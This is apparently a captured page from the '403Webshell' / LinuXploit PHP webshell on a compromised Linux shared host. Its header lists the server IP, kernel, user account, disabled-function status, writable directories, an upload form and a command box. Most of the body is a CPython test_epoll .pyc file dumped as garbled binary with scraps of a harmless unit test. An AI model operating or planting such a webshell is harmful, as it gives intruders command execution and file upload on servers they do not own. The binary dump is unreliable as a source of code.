403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_epoll.cpython-36.pyc
3

�w2_�#�@s�dZddlZddlZddlZddlZddlZddlZeed�sHejd��yej	�Wn:e
k
r�Zzejejkr|ejd���WYddZ[XnXGdd�dej
�Zedkr�ej�dS)	z
Tests for epoll wrapper.
�N�epollztest works only on Linux 2.6zkernel doesn't support epoll()c@steZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�	TestEPollcCs.tj�|_|jjd�|jj�|jg|_dS)N�	127.0.0.1r)rr)�socket�serverSocketZbindZlisten�connections)�self�r	�4/opt/alt/python36/lib64/python3.6/test/test_epoll.py�setUp+s

zTestEPoll.setUpcCsx|jD]}|j�qWdS)N)r�close)rZsktr	r	r
�tearDown1szTestEPoll.tearDowncCs�tj�}|jd�y|jd|jj�df�Wn6tk
rd}z|j|jdtj	�WYdd}~Xn
Xt
d��|jj�\}}|jj
||f�||fS)NFz	127.0.0.1�rz&Connect should have raised EINPROGRESS)rZsetblockingZconnectrZgetsockname�OSError�assertEqual�args�errnoZEINPROGRESS�AssertionErrorZacceptr�extend)r�client�e�serverZaddrr	r	r
�_connected_pair5s
&zTestEPoll._connected_paircCs�ytjd�}Wn.tk
r<}ztt|���WYdd}~XnX|j|j�dk|j��|j|j�|j�|j|j�|j	t
|j�ttd�r�tjdtj�j�tjtjd�j�tjdd�j�dS)N�r�
EPOLL_CLOEXECr)�flags���)
�selectrrr�str�
assertTrue�fileno�closedr�assertRaises�
ValueError�hasattrr)r�eprr	r	r
�test_createCs
zTestEPoll.test_createcCs�|jttjddd�|jttjd�|jttjd�|jttjf�|jttjdg�|jttji�|jttjd�|jttjd
�|jttjdd�ttd�r�|jttjdd	�dS)Nr��Zfoor)�sizehintriD0)r���r*)r"�	TypeErrorrrr#r$r)rr	r	r
�test_badcreateSs
zTestEPoll.test_badcreatec
CsPtjd��"}|j|j�d�|j|j�WdQRX|j|j�|jt|j�dS)Nrr)	rrZ
assertGreaterr �assertFalser!rr"r#)rr%r	r	r
�test_context_managerbs
zTestEPoll.test_context_managercCsN|j�\}}tjd�}z4|j|j�tjtjB�|j|j�tjtjB�Wd|j�Xtjd�}z,|j|tjtjB�|j|tjtjB�Wd|j�Xtjd�}z�|jt	|jt
�tjtjB�|jt	|jdtjtjB�|jt|jdtjtjB�|jt|jdtjtjB�|j|tjtjB�|jt|j|tjtjB�Wd|j�XdS)Nr'ri'r)
rrr�registerr �EPOLLIN�EPOLLOUTrr"r+�objectr#r)rrrr%r	r	r
�test_addis2




zTestEPoll.test_addcCs�|j�\}}tjd�}tjj|j��}|j|j�tjtjB�|j|j�tjtjB�|jdd�}|jdd�}|j	t
|�d�|j	t
|�d�|j�y|jdd�Wn8tk
r�}z|j	|j
dtj|�WYdd}~XnX|jd�dS)Nr'r�g�������?rz%epoll on closed fd didn't raise EBADF)rrrZfromfdr r/r0r1�pollr�lenrrrrZEBADFZfail)rrrr%Zep2�eventsZevents2rr	r	r
�test_fromfd�s
(zTestEPoll.test_fromfdcCs�|j�\}}tjd�}|j|j�tjtjBtjB�|j|j�tjtjBtjB�tj	�}|j
dd�}tj	�}|j||dk||�|j�|j�tjf|j�tjfg}|j�|j
||�|j
ddd�}|j|�|jd�|jd�tj	�}|j
dd�}tj	�}|j||d	k�|j�|j�tjtjBf|j�tjtjBfg}|j�|j
||�|j|j��|j|j�tj�tj	�}|j
dd�}tj	�}|j||d	k�|j�tjfg}|j
||�dS)
Nrrr4g�������?g������@)ZtimeoutZ	maxeventssHello!sworld!!!g{�G�z�?)rrrr/r r0r1ZEPOLLET�time�	monotonicr5r-�sortr�send�
unregister�modify)rrrr%�nowr7�thenZexpectedr	r	r
�test_control_and_wait�sH





zTestEPoll.test_control_and_waitcCs,|jttjd�|jttj�jdtj�dS)Nr'rr*r)r"r#rrr/r0)rr	r	r
�test_errors�szTestEPoll.test_errorscCsl|j�\}}|j�}tjd�}|j|�tj�}|jdd�}tj�}|j||dk�|j	�|j
|�dS)Nrrr4g{�G�z�?)rr rrr/r9r:r5r-rr=)rrr�fdr%r?r7r@r	r	r
�test_unregister_closed�s

z TestEPoll.test_unregister_closedcCs�ttd�}|j|j�|j�}tj�}|j|j�t�|j	|j
�|j�|j|j
�|jt
|j�|j�|jt
|j|tj�|jt
|jd�|jt
|j|tj�|jt
|j|�dS)N�rbg�?)�open�__file__�
addCleanuprr rrZassertIsInstance�intr-r!rr"r#r>r0r5r/r=)rZ	open_filerCrr	r	r
�
test_close�s
zTestEPoll.test_closecCs.tj�}|j|j�|jtj|j��d�dS)NF)rrrHrr�os�get_inheritabler )rrr	r	r
�test_fd_non_inheritablesz!TestEPoll.test_fd_non_inheritableN)�__name__�
__module__�__qualname__rr
rr&r,r.r3r8rArBrDrJrMr	r	r	r
r)s&1r�__main__)�__doc__rrKrrr9Zunittestr$ZSkipTestrrrZENOSYSZTestCaserrN�mainr	r	r	r
�<module>s$


_

Youez - 2016 - github.com/yon3zu
LinuXploit